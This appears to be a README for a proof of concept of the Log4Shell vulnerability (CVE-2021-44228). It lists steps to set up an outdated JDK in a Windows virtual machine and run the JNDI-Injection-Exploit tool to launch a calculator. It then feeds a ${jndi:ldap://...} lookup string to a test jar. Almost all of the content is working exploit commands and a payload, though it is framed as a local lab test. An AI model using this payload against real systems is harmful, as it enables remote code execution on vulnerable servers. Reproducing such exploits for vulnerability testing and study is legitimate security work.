Test source code for Log4Shell(CVE-2021-44228).
-
Install JDK8 (< 8u191) in virtual machine(Windows 10).
-
Copy
out\artifacts\POC_jar\POC.jar
in Windows. -
Copy
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
in Windows, Get JNDI-Injection-Exploit -
Run
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"
-
Run
java -jar POC.jar ${jndi:ldap://127.0.0.1:1389/*****}